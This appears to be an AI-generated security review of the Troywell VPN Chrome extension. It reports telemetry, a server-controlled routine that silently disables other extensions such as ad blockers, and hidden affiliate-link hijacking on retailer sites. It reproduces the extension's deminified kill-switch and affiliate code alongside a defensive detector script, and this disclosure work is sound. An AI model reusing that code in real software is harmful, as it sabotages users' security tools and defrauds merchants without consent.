Is Free VPN for Chrome - Troywell VPN safe?
Troywell VPN is high risk. Troywell VPN registers a generated extension ID with troywell.org after install, then sends telemetry to analytics.troywell.org. The registration body held a UUID, version 5.0.5, app value, and UTM; requests expose the network address.…
Who publishes it1 other listing from the same operator, 1 of them carrying a finding
1 other listing from the same operator, 1 of them carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 50k+ users between them. 1 of them carries a finding.
Shared hosts - 5 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Troywell VPN posts install and device telemetry
Troywell VPN registers a generated extension ID with troywell.org after install, then sends telemetry to analytics.troywell.org.
The registration body held a UUID, version 5.0.5, app value, and UTM; requests expose the network address.
You install or start the VPN extension.
The extension registers a generated identifier, then later posts device and language telemetry to Troywell analytics.
The ping is rate-limited in code, but it is initiated by the extension rather than by a visible form submission.
| Content-Type | application/json |
{
"extension_id": "afb87e95-ba49-4c45-8a70-85a6ae9761bf",
"extension_version": "5.0.5",
"app": "vpn",
"utm": {}
}| Content-Type | application/json |
| Field | Value | Why it matters | |
|---|---|---|---|
Extension identifier | afb87e95-ba49-4c45-8a70-85a6ae9761bf | This gives Troywell a stable identifier for this extension install. | |
Extension version | 5.0.5 | This tells the server which release you are running. | |
Operating system | Linux x86_64 | This describes the platform reported by your browser. | |
Browser family | chrome | This tells the server which browser family the extension detected. | |
App label | vpn | This labels the product line associated with the telemetry. | |
Browser language | en-GB | This reveals the language setting reported by your browser. | |
Install attribution | {} | This can carry campaign parameters from the page that led to the install. | |
Network address | 203.0.113.42 (illustrative) | The receiving servers can associate the request with the network address used by your browser. |
After analytics starts, the extension checks on an hourly alarm and sends the ping only when the last successful send is at least 12 hours old.
The shipped service worker builds and posts both telemetry bodies
le = function() {
var t = x(g().mark((function t() {
var e, r, n, a, o, c;
return g().wrap((function(t) {
for (;;) switch (t.prev = t.next) {
case 0:
return t.next = 2, _t();
case 2:
if (e = t.sent) {
t.next = 7;
break
}
return t.next = 6, Wt(300);
case 6:
return t.abrupt("return", le());
case 7:
if (!e || !e.extId) {
t.next = 9;
break
}
return t.abrupt("return", e.extId);
case 9:
return e.extId = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (function(t) {
var e = 16 * Math.random() | 0;
return ("x" == t ? e : 3 & e | 8).toString(16)
})), t.next = 12, pe();
case 12:
return r = t.sent, n = {
extension_id: e.extId,
extension_version: chrome.runtime.getManifest().version,
app: "vpn",
utm: r
}, t.next = 16, vt(ie, {
method: "POST",
headers: oe,
body: JSON.stringify(n)
});
case 16:
return a = t.sent, t.next = 19, a.json();
case 19:
if (o = t.sent, !(c = o.message)) {
t.next = 27;
break
}
if (e.extPw = c, !e.extId || !e.extPw || e.pwWasLinked) {
t.next = 27;
break
}
return t.next = 26, vt(ue, {
method: "POST",
body: JSON.stringify({
extensionId: e.extId,
data: e.extPw
}),
headers: oe
});
case 26:
e.pwWasLinked = !0;
case 27:
return t.next = 29, Pt({
extId: e.extId,
extPw: e.extPw,
pwWasLinked: e.pwWasLinked
});
case 29:
return setTimeout((function() {
chrome.tabs.create({
url: chrome.runtime.getURL("agreement.html")
})
}), 1e3), t.abrupt("return", e.extId);
case 31:
case "end":
return t.stop()
}
}), t)
})));
return function() {
return t.apply(this, arguments)
}
}(),
ve = function() {
var t = x(g().mark((function t() {
var e, r;
return g().wrap((function(t) {
for (;;) switch (t.prev = t.next) {
case 0:
return t.next = 2, _t();
case 2:
if (e = t.sent, !(Date.now() - e.lastAliveStatus < 432e5)) {
t.next = 5;
break
}
return t.abrupt("return");
case 5:
return r = {
extension_id: e.extId,
extension_version: chrome.runtime.getManifest().version,
os: navigator.platform,
browser: z(),
app: "vpn",
language: navigator.language
}, t.next = 8, vt(ae, {
method: "POST",
body: JSON.stringify(r),
headers: oe
});
case 8:
Pt({
lastAliveStatus: Date.now()
});
case 9:
case "end":
return t.stop()
}
}), t)
})));
return function() {
return t.apply(this, arguments)
}
}(), xe = function() {
var t = x(g().mark((function t() {
return g().wrap((function(t) {
for (;;) switch (t.prev = t.next) {
case 0:
return J({
module: "analytics",
action: "initAnalytics",
delayInMinutes: 60
}), t.next = 3, _t();
case 3:
if (t.sent) {
t.next = 8;
break
}
return t.next = 7, Wt(300);
case 7:
return t.abrupt("return", xe());
case 8:
return t.next = 10, ve();
case 10:
return t.next = 12, he();
case 12:
return t.abrupt("return", !0);
case 13:
case "end":
return t.stop()
}
}), t)
})));
return function() {
return t.apply(this, arguments)
}
}(), chrome.runtime.onInstalled.addListener((function() {
ho(), J({
module: "caa",
action: "setCaaInfo",
data: {
applyProgram: !0,
show: !1
},
delayInMinutes: 2880
})
})), chrome.runtime.onStartup.addListener(ho), chrome.management.onEnabled.addListener((function(t) {
t.id === chrome.runtime.id && ho()
})), vo(), Er(), Sa(), chrome.runtime.onMessage.addListener((function(t, e, r) {
var n = t.module,
a = t.action,
o = t.data,
c = ao(),
i = oo(),
u = n ? i[n] : c;
return u && "function" == typeof u[a] ? u[a].call(u, {
data: o,
sender: e,
sendResponse: r
}) : r(null), !0
})), chrome.alarms.onAlarm.addListener((function(t) {
var e = t.name,
r = JSON.parse(e),
n = r.module,
a = r.action,
o = r.data,
c = ao(),
i = oo(),
u = n ? i[n] : c;
return u && "function" == typeof u[a] && u[a].call(u, {
data: o
}), !0
}))- troywell.org
Receives the installation registration POST containing the generated extension identifier, version, app label, and UTM object.
- analytics.troywell.org
Receives the periodic extension ping containing the generated identifier, version, OS, browser, app label, and browser language.
Remote Kill-Switch Can Disable Your Other Extensions
Troywell VPN downloads a server-controlled extension-ID list every startup, then can disable any of those extensions, ad blockers included, with no prompt.
A second config ("terminator") downloads ad rules bypassing the VPN's own filters.
You install Free VPN for Chrome and grant it the management permission.
Every startup, the extension downloads an extension-ID list from troywell.org with no prompt, and disables every extension on it via a privileged API.
You are never notified. No UI is shown. The extension IDs to disable are chosen entirely by the server.
| Field | Value | Why it matters | |
|---|---|---|---|
Extensions to disable | cfhdojbkjhnklbpkdaibdccddilifddb | Other installed extension IDs the server wants disabled. Could include ad blockers, privacy tools, or rival VPNs. | |
Activation timing | activationTime | Whether extensions are disabled immediately on install or at some later time chosen by the server. | |
Stored target list | thanosExtStorage key in chrome.storage.local | The list of extension IDs to disable is saved to your browser so it persists across sessions. |
The kill-switch list observed during analysis; these IDs are popular ad blockers and privacy tools. The server can update it any time.
chrome.storage.local key 'thanosConfigs'{
"data": [
{
"activationTime": [
"cfhdojbkjhnklbpkdaibdccddilifddb",
"gighmmpiobklfepjocnamgkkbiglidom",
"gomekmidlodglbbmalcneegieacbdmki",
"cjpalhdlnbpafiamejdnhcphjbkeiagm"
]
}
]
}The kill-switch: shipped minified code vs what it actually does.
async function init() {
await initSettings(); // load persisted settings
await initStorage(); // initialize local storage
setupAlarms(); // periodic refresh alarms
await loadConfig(); // load extension config
// Fetch all remote kill-switch configs in parallel:
await Promise.all([
fetchBlockingDomains(), // ad-block rules
fetchAdConfigs(),
fetchTerminatorConfigs(), // Br() -- second kill-switch
fetchTranslations(),
fetchMerchants(),
]);
fetchBlockingDomainRules(); // apply DNR rules
await applyDeclarativeNetRequestRedirects();
await fetchThanosConfigs(); // aa() -- primary kill-switch: GET troywell.org/api/configs/thanos
applyThanosKillSwitch(false, 'anyTime'); // disable targeted extensions now
killCompetingProxyExtensions(); // ia() -- disable all other extensions with proxy permission
}async function applyThanosKillSwitch(enable = false, field = 'activationTime') {
const browser = await getBrowserInfo();
// Kill-switch only runs on Chrome (not Yandex Browser or Firefox)
if (browser.browser === 'yabrowser' || browser.browser === 'firefox') return;
if (!chrome.management) return;
const thanosData = await readThanosConfigs(); // from chrome.storage.local 'thanosConfigs'
if (!thanosData || thanosData.length === 0) return;
// Get IDs of all currently enabled extensions
const enabledIds = await new Promise(resolve =>
chrome.management.getAll(exts =>
resolve(exts.filter(e => e.enabled).map(e => e.id))
)
);
const selfId = await new Promise(resolve => chrome.management.getSelf(resolve)).id;
// Compute intersection: enabled extensions that appear in the server's target list
let targets = intersect(thanosData[0][field] || [], enabledIds);
if (field === 'activationTime') {
if (!enable) {
await writeThanosExtStorage(targets); // save targets to thanosExtStorage
} else {
targets = await readThanosExtStorage(); // restore previously saved list
await writeThanosExtStorage([]);
}
}
for (const extId of targets) {
if (extId === selfId) continue; // never disable itself
chrome.management.setEnabled(extId, enable); // DISABLE the target extension
}
}async function killCompetingProxyExtensions() {
const browser = await getBrowserInfo();
if (browser.browser === 'yabrowser' || browser.browser === 'firefox') return;
if (!chrome.management) return;
// Find every enabled extension that has the proxy permission AND is not Troywell
const competitorIds = await new Promise(resolve =>
chrome.management.getAll(exts => {
const competitors = exts.filter(ext =>
ext.enabled &&
ext.permissions.includes('proxy') &&
!ext.name.toLowerCase().includes('troywell')
);
resolve(competitors.map(e => e.id));
})
);
// Disable all of them silently -- no UI, no permission prompt
competitorIds.forEach(id => {
if (id !== chrome.runtime.id) {
chrome.management.setEnabled(id, false);
}
});
}- troywell.org
Primary server. Hosts the Thanos kill-switch config (/api/configs/thanos) and Terminator ad-rule config. Run by Troywell Ltd, this extension's publisher.
- analytics.troywell.org
Analytics endpoint. Receives extension ping data (/api/extension/ping), URL visit data (/api/extension/urls), and Google Analytics relay (/api/extension/ga).
Run this in Chrome DevTools (inside the extension's service worker context) to see whether the Thanos kill-switch config has been downloaded and which extension IDs it is targeting. Works without network access, reads the already-cached config from local storage.
// troywell-killswitch-detector.js
// Reads the Troywell Thanos kill-switch config from chrome.storage.local
// and lists which extension IDs are targeted for remote disabling.
//
// HOW TO RUN: see usage instructions below.
(async function() {
const result = await new Promise(resolve =>
chrome.storage.local.get(['thanosConfigs', 'thanosExtStorage', 'terminatorConfigs'], resolve)
);
console.log('=== Troywell Kill-Switch Detector ===\n');
// --- Thanos: server-dictated extension disable list ---
const thanos = result.thanosConfigs;
if (!thanos || !thanos.data) {
console.log('[THANOS] Not yet fetched from server (try restarting the browser).');
} else {
console.log('[THANOS] Kill-switch config received from troywell.org/api/configs/thanos');
const entries = thanos.data;
entries.forEach((entry, i) => {
const keys = Object.keys(entry);
keys.forEach(field => {
const ids = entry[field];
if (Array.isArray(ids) && ids.length > 0) {
console.log(` Field "${field}" -- ${ids.length} extension(s) targeted:`);
ids.forEach(id => console.log(` - ${id}`));
}
});
});
}
// --- thanosExtStorage: which extensions were actually disabled this session ---
const extStorage = result.thanosExtStorage;
if (extStorage && extStorage.length > 0) {
console.log('\n[THANOS ACTIVE] These extensions were disabled this session:');
extStorage.forEach(id => console.log(' -', id));
} else {
console.log('\n[THANOS ACTIVE] No extensions disabled yet this session (or list was cleared).');
}
// --- Terminator: ad-rule override config ---
const terminator = result.terminatorConfigs;
if (!terminator || !terminator.data) {
console.log('\n[TERMINATOR] Not yet fetched from server.');
} else {
console.log('\n[TERMINATOR] Ad-rule config received from troywell.org/api/configs/terminator');
const data = terminator.data;
if (Array.isArray(data)) {
console.log(` ${data.length} rule entries present. Sample:`);
data.slice(0, 5).forEach((rule, i) => console.log(` [${i}]`, JSON.stringify(rule)));
if (data.length > 5) console.log(` ... and ${data.length - 5} more.`);
} else {
console.log(' Raw data:', JSON.stringify(data).substring(0, 500));
}
}
console.log('\n=== End of report ===');
})();
- 1Install, open Chrome.
- 2chrome://extensions, enable Developer mode.
- 3Click the extension's "service worker" link for DevTools.
- 4Paste the script, Enter.
- 5Any IDs under THANOS are controlled by troywell.org.
Browsing a listed retailer triggers a background affiliate tag
Troywell VPN matches sites you visit against retailer domains from cdn.troywell.org.
Opening one POSTs an activation record to troywell.org/api/transaction/create; a deepLink reopens it via an affiliate network with the extension's ID.
You open a shopping site that appears on the extension's downloaded retailer list.
No click, no coupon prompt and no interaction with the extension is required, opening the page is enough.
The background code sends an activation record for that retailer to troywell.org and opens a minimized window re-entering the retailer via an affiliate link.
The record is marked activationType "no-cashback", so no cashback is credited to you, and clickSource "ac", the extension's own label for automatic activation.
| Content-Type | application/json |
{
"network": "",
"offer_id": "68834c549f8f312c48879524",
"extension_id": "<redacted>",
"activationType": "no-cashback",
"app": "vpn",
"clickSource": "ac",
"extVersion": "5.0.5",
"vProtect": "2"
}| Field | Value | Why it matters | |
|---|---|---|---|
The retailer you just opened | 68834c549f8f312c48879524 | The extension's own ID for the shopping site you are on, which tells the server which retailer you are browsing right now. | |
Your extension install ID | bb5b97f9-3c41-4e0a-9d18-2f6ca07be5d1 (illustrative) | A per-install identifier that stays the same across sessions, so every activation record can be tied back to the same copy of the extension. | |
What you get back | no-cashback | Set to "no-cashback", the extension's own label for an activation that credits nothing to you. | |
How the activation started | ac | Set to "ac" for automatic activation, meaning the record was sent from page navigation rather than from you clicking anything. | |
Which product sent it | app=vpn, extVersion=5.0.5 | Identifies the sender as the VPN product, and gives the exact extension version you are running. | |
Affiliate network slot | "" | Names the affiliate network the activation belongs to; it arrives empty and the server picks the network when it issues the deep link. |
The conditions that release the activation, and the record that gets sent
// ma({url, tabId}) — runs on navigation
const { domainChanges } = await chrome.storage.local.get("domainChanges");
if (!domainChanges) return false; // server-set flag
const { merchant, state } = await lookupMerchant({ url });
if (!merchant) return false; // url not on the downloaded retailer list
if (!merchant.isACBAvailable) return false; // retailer not enabled for auto-activation
const cookies = await getCookies({ url: "https://troywell.org" });
if (cookies.find(c => c.name === "hasExt")) return false;
const settings = await getCaaSettings();
if (Date.now() < settings.installTime + 172800000) return false; // 48 hours since install
if (!settings.activations.applyProgram) return false; // flag set by a scheduled alarm
if (!state.activated && merchant.fastWorking) {
sendActivation({ data: { merchantId: merchant.id, activationType: "no-cashback", clickSource: "ac" } });
return false;
}// va({ merchantId, network, activationType, clickSource })
const { caaSettings } = await chrome.storage.local.get("caaSettings");
const body = {
network,
offer_id: merchantId,
extension_id: caaSettings.extId,
activationType, // "no-cashback"
app: "vpn",
clickSource, // "ac" = automatic
extVersion: chrome.runtime.getManifest().version,
vProtect: "2"
};
const res = await request(TRANSACTION_CREATE_URL, { // https://troywell.org/api/transaction/create
headers, method: "POST", body: JSON.stringify(body)
});
if (!res.ok) return { deepLink: null };
const json = await res.json();
return { deepLink: json.deepLink };
// caller: opens the returned deepLink out of view
chrome.windows.create({ url: redirectPrefix + encodeURIComponent(deepLink), state: "minimized", type: "normal" },
w => trackActivation({ tabId: w.tabs[0].id, deepLink, isBackgroundTab: true, merchantId }));| When | You did | Extension did |
|---|---|---|
| +2 min 47 s | user You open aliexpress.ru with another party's affiliate tag already on the URL.A marker value was planted in the affiliate parameter before the visit so the two tags could be told apart. | extension A minimized window loads an aliexpress.ru affiliate redirect carrying the extension's transaction ID as the sub-ID, referred from troywell.org.Landing URL: aliexpress.ru/aff/redirect/uzk4e1c?subid=6a82838fd373352689dac4be&utm_referrer=https%3A%2F%2Ftroywell.org%2F |
| +3 min 10 s | user You open citilink.ru with another party's affiliate tag already on the URL. | extension A minimized window follows an AdvCake redirect at go.avck.ws carrying the extension's transaction ID, landing back on citilink.ru tagged to that campaign.Landing URL: citilink.ru/?utm_source=advcake&utm_medium=cpa&utm_campaign=32937b79 |
| +3 min 26 s | user You open litres.ru with another party's affiliate tag already on the URL. | extension A minimized window follows a sovtrk.com redirect carrying the extension's transaction ID, landing back on litres.ru tagged to that campaign.Landing URL: litres.ru/?utm_source=advcake&utm_campaign=sovaunion |
| +3 min 46 s | user You open shop.mts.ru with another party's affiliate tag already on the URL. | extension A minimized window follows a Gdeslon redirect at sf.gdeslon.ru carrying the extension's transaction ID, landing back on shop.mts.ru tagged to that campaign.Landing URL: shop.mts.ru/?utm_medium=cpa&utm_campaign=Gdeslon_ |
- troywell.org
Vendor backend. Receives the activation record (offer ID, extension ID, activation type, click source, version) and returns the affiliate deep link.
- cdn.troywell.org
Vendor CDN. Serves the retailer domain list, containing 680 entries and 886 matchable hostnames, that your browsing is matched against locally.
- ad.admitad.com
Admitad affiliate network. Sets a UID cookie on .ad.admitad.com when the deep link is followed; reached via the shortener heqgr.com.
- go.avck.ws
AdvCake affiliate network redirect. Carries the extension's transaction ID as sub1 and lands the retailer with utm_source=advcake.
- sf.gdeslon.ru
Gdeslon affiliate network redirect. Carries the extension's transaction ID as sub_id before landing the retailer.
- sovtrk.com
Affiliate tracking redirect. Carries the extension's transaction ID as xid before landing the retailer.
The POST to troywell.org/api/transaction/create was captured directly during dynamic analysis, sent from the background service worker while browsing retailers taken from the extension's own list, with no user interaction. The onward deep-link chain in the table above was observed in a run where the stored install timestamp had been moved back past the extension's own 48-hour condition. None of the three conditions is a user choice: one is a flag the vendor's server sets, one is elapsed time since install, and one is set by a scheduled alarm 48 hours after install, so all three resolve without any user step within two days of installing. A short capture on a fresh install therefore does not reach this path, and one did not: on a fresh-install run, visiting a listed retailer produced zero requests to that endpoint.
+3 more findings not shown
What it can do
Permissions this extension asks for, as declared in version 5.0.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 5.0.3, which we have not unpacked yet.
Read and change your data on every site you visit
<all_urls>
See the address and title of every tab you have open
tabs
Watch every request your browser makes
webRequest
See, disable and uninstall your other extensions, including your security ones
management
See every page you navigate to, as you navigate to it
webNavigation
Store data in your browser
storage
Schedule its own background tasks
alarms
Store an unlimited amount of data in your browser
unlimitedStorage
Route all of your browsing through a server of its choosing
proxy
Show you desktop notifications
notifications
Change your browser's privacy and security settings
privacy
Read and change cookies, including the ones that keep you signed in
cookies
Run its own code inside the pages you visit
scripting
Block and redirect the requests your browser makes
declarativeNetRequest
See which of your requests its blocking rules matched
declarativeNetRequestFeedback